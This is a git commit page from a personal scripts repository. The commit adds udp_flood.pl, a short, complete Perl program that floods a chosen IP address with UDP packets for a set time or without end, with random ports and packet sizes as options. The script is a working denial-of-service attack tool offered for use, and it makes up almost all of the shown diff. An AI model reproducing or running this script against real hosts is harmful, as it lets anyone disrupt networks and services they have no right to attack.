summaryrefslogtreecommitdiffstats
path: root/udp_flood.pl
diff options
context:
space:
mode:
authorFlorian Pritz <f-p@gmx.at>2009-05-21 20:33:48 +0200
committerFlorian Pritz <f-p@gmx.at>2009-05-21 20:33:48 +0200
commit55b2b41529c5ac3912969bf5468f7ad54cf61096 (patch)
treebe2f1d8b437c130cdccfe103b4c224e6dbf31dd1 /udp_flood.pl
parent5490782c34fbb1559c0c40723500eaee9935d116 (diff)
downloadbin-55b2b41529c5ac3912969bf5468f7ad54cf61096.tar.gz
bin-55b2b41529c5ac3912969bf5468f7ad54cf61096.tar.xz
2 new files; fix irssi notify script after suspend
Diffstat (limited to 'udp_flood.pl')
-rwxr-xr-xudp_flood.pl37
1 files changed, 37 insertions, 0 deletions
diff --git a/udp_flood.pl b/udp_flood.pl
new file mode 100755
index 0000000..1e8787f
--- /dev/null
+++ b/udp_flood.pl
@@ -0,0 +1,37 @@
+#!/usr/bin/perl
+
+##############
+# udp flood.
+##############
+
+use Socket;
+use strict;
+
+if ($#ARGV != 3) {
+ print "flood.pl <ip> <port> <size> <time>\n\n";
+ print " port=0: use random ports\n";
+ print " size=0: use random size between 64 and 1024\n";
+ print " time=0: continuous flood\n";
+ exit(1);
+}
+
+my ($ip,$port,$size,$time) = @ARGV;
+
+my ($iaddr,$endtime,$psize,$pport);
+
+$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
+$endtime = time() + ($time ? $time : 1000000);
+
+socket(flood, PF_INET, SOCK_DGRAM, 17);
+
+
+print "Flooding $ip " . ($port ? $port : "random") . " port with " .
+ ($size ? "$size-byte" : "random size") . " packets" .
+ ($time ? " for $time seconds" : "") . "\n";
+print "Break with Ctrl-C\n" unless $time;
+
+for (;time() <= $endtime;) {
+ $psize = $size ? $size : int(rand(1024-64)+64) ;
+ $pport = $port ? $port : int(rand(65500))+1;
+
+ send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}